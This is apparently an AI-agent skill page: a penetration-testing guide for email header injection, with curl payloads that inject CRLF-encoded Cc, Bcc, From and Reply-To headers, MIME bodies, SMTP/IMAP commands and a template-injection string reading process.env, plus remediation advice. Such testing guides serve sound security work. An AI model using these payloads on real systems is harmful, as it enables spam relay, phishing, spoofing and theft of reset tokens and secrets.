testing-for-email-header-injection
Test web application email functionality for SMTP header injection vulnerabilities that allow attackers to inject additional email headers, modify recipients, and abuse contact forms for spam relay.
What this skill does
# Testing for Email Header Injection ## When to Use - When testing contact forms, feedback forms, or "email a friend" functionality - During assessment of password reset email functionality - When testing newsletter subscription or notification email systems - During penetration testing of applications that send emails based on user input - When auditing email-related API endpoints for header injection ## Prerequisites - Burp Suite for intercepting and modifying HTTP requests - Understanding of SMTP protocol and email header structure - Knowledge of CRLF injection techniques (\r\n sequences) - Test email accounts for receiving injected emails - Access to application features that trigger email sending - SMTP server logs access for monitoring injection attempts ## Workflow ### Step 1 — Identify Email Injection Points ```bash # Identify form fields that end up in email headers: # - "From" name or email address fields # - "To" or "CC" fields in sharing features # - Subject line inputs # - Reply-To fields # Common endpoints: # POST /contact - Contact forms # POST /share - Share via email features # POST /invite - Invitation systems # POST /api/send-email - Email API endpoints # POST /forgot-password - Password reset forms # Test basic functionality first curl -X POST http://target.com/contact \ -d "name=Test&[email protected]&subject=Hello&message=Test message" ``` ### Step 2 — Test for CRLF Header Injection ```bash # Inject additional email headers via CRLF in the email field curl -X POST http://target.com/contact \ -d "name=Test&[email protected]%0ACc:[email protected]&message=Test" # Inject BCC header curl -X POST http://target.com/contact \ -d "name=Test&[email protected]%0ABcc:[email protected]&message=Test" # Inject via the name field curl -X POST http://target.com/contact \ -d "name=Test%0ACc:[email protected]&[email protected]&message=Test" # Inject via subject field curl -X POST http://target.com/contact \ -d "name=Test&[email protected]&subject=Hello%0ABcc:[email protected]&message=Test" # Try different CRLF encoding variants # %0D%0A (CRLF) curl -X POST http://target.com/contact \ -d "[email protected]%0D%0ACc:[email protected]" # %0A (LF only) curl -X POST http://target.com/contact \ -d "[email protected]%0ACc:[email protected]" # %0D (CR only) curl -X POST http://target.com/contact \ -d "[email protected]%0DCc:[email protected]" # Double encoding curl -X POST http://target.com/contact \ -d "[email protected]%250ACc:[email protected]" ``` ### Step 3 — Inject Custom Email Content ```bash # Override email body by injecting Content-Type and body curl -X POST http://target.com/contact \ -d "[email protected]%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>" # Inject additional MIME parts curl -X POST http://target.com/contact \ -d "[email protected]%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>" # Override From header for email spoofing curl -X POST http://target.com/contact \ -d "[email protected]%0AFrom:[email protected]" # Inject Reply-To for phishing curl -X POST http://target.com/contact \ -d "[email protected]%0AReply-To:[email protected]" ``` ### Step 4 — Test IMAP/SMTP Injection ```bash # IMAP command injection via email field curl -X POST http://target.com/webmail/search \ -d "query=test%0AEXAMINE INBOX" # SMTP command injection curl -X POST http://target.com/api/send \ -d "[email protected]%0ARCPT TO:[email protected]" # SMTP VRFY command injection curl -X POST http://target.com/api/verify \ -d "[email protected]%0AVRFY admin" # Test SMTP relay abuse curl -X POST http://target.com/contact \ -d "[email protected]%0ATo:[email protected]%0ATo:[email protected]%0ATo:[email protected]" ``` ### Step 5 — Test JSON-Based Email APIs ```bash # JSON API header injection curl -X POST http://target.com/api/send-email \ -H "Content-Type: application/json" \ -d '{"to":"[email protected]\nCc:[email protected]","subject":"Test","body":"Test"}' # Array injection for multiple recipients curl -X POST http://target.com/api/send-email \ -H "Content-Type: application/json" \ -d '{"to":["[email protected]","[email protected]"],"subject":"Test","body":"Test"}' # Template injection in email body curl -X POST http://target.com/api/send-email \ -H "Content-Type: application/json" \ -d '{"to":"[email protected]","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}' ``` ### Step 6 — Validate Findings ```bash # Check if injected CC/BCC emails were received # Monitor [email protected] inbox for received copies # Verify header injection via email raw source # In received email, check "View Original" or "Show Headers" # Look for injected Cc:, Bcc:, From:, or Reply-To: headers # Test if the application is usable as a spam relay # by injecting multiple recipients in BCC # Document the full injection chain # 1. Injection point (which field) # 2. Encoding required (CRLF, URL encoding) # 3. Impact (spam relay, phishing, data theft) ``` ## Key Concepts | Concept | Description | |---------|-------------| | CRLF Injection | Injecting carriage return and line feed characters to create new email headers | | Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails | | Spam Relay | Abusing email functionality to send spam to arbitrary recipients | | Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders | | MIME Manipulation | Injecting MIME boundaries to override email body content | | SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters | | Newline Characters | \r\n (CRLF), \n (LF), \r (CR) used to separate email headers | ## Tools & Systems | Tool | Purpose | |------|---------| | Burp Suite | HTTP proxy for modifying email-related form submissions | | swaks | Swiss Army Knife for SMTP testing and header injection validation | | OWASP ZAP | Automated scanner with email injection detection | | mailhog | Local SMTP testing server for capturing injected emails | | smtp4dev | Development SMTP server for monitoring email injection results | | Nuclei | Template scanner with email header injection detection templates | ## Common Scenarios 1. **Spam Relay** — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain 2. **Phishing via Contact Form** — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization 3. **Password Reset Hijack** — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim 4. **Email Content Override** — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content 5. **Internal Email Abuse** — Use header injection to send emails to internal addresses not normally accessible through the application ## Output Format ``` ## Email Header Injection Report - **Target**: http://target.com/contact - **Injection Point**: email field in contact form - **Encoding Required**: URL-encoded LF (%0A) ### Findings | # | Field | Payload | Result | Severity | |---|-------|---------|--------|----------| | 1 | email | [email protected]%0ACc:[email protected] | CC header injected | High | | 2 | email | [email protected]%0ABcc:[email protected] | BCC header injected | High | | 3 | name | Test%0AFrom:[email protected] | From spoofing | Medium | ### Remediation - Validate email addresses with strict regex rejecting newline characters - Strip \r, \n, and encoded variants from all email-related input - Use parameterized email APIs that separate headers from data - Implement rate limiting on email-sending functionality ```
Related in Productivity
gitea-workflow
IncludedOrchestrate agile development workflows for Gitea repositories using the tea CLI. Use when working with Gitea-hosted repos and asking to 'run the workflow', 'continue working', 'what's next', 'complete the task cycle', 'start my day', 'end the sprint', 'implement the next task', or wanting guided step-by-step development assistance. Keywords: workflow, orchestrate, agile, task cycle, sprint, daily, implement, review, PR, standup, retrospective, gitea, tea.
microsoft-graph-gateway
IncludedRoute Microsoft Graph work in this workspace. Use when users want to read or write Outlook mail, calendar events, contacts, OneDrive or SharePoint files, Teams, Planner, To Do, users, groups, directory data, or arbitrary Microsoft Graph endpoints from VS Code. Prefer WorkIQ for common read scenarios. Use Microsoft Graph for write actions and gap-read scenarios that need exact Graph properties, filters, permissions, or endpoints.
copilotkit
IncludedUse when building with CopilotKit — setup, development, integrations, debugging, upgrading, or contributing. Routes to the appropriate specialized skill based on the task.
wordly-wisdom
IncludedProvides calibrated decision analysis using Charlie Munger-style multiple mental models, inversion, incentive mapping, circle-of-competence checks, misjudgment audits, second-order effects, and forecast updates. Use when the user asks for an oracle take, a hard call, a decision memo, a premortem, an outside view, a red-team, a sanity-check, what am I missing, think this through, or wants a strategy, hire, investment, plan, product, partnership, or major life choice analysed. Avoid for simple factual lookups or time-sensitive legal, medical, or market questions without fresh evidence.
swain-session
IncludedSession management and project status dashboard. Owns the full session lifecycle (start/work/close/resume), focus lane, bookmarks, worktree detection, and tab naming. Also serves as the project status dashboard — shows active epics, progress, actionable next steps, blocked items, tasks, GitHub issues, and recommendations. Worktree creation is deferred to swain-do task dispatch (SPEC-195). Triggers on: 'session', 'status', 'what's next', 'dashboard', 'overview', 'where are we', 'what should I work on', 'show me priorities', 'bookmark', 'focus on', 'session info'.
gandi
IncludedComprehensive Gandi domain registrar integration for domain and DNS management. Register and manage domains, create/update/delete DNS records (A, AAAA, CNAME, MX, TXT, SRV, and more), configure email forwarding and aliases, check SSL certificate status, create DNS snapshots for safe rollback, bulk update zone files, and monitor domain expiration. Supports multi-domain management, zone file import/export, and automated DNS backups. Includes both read-only and destructive operations with safety controls.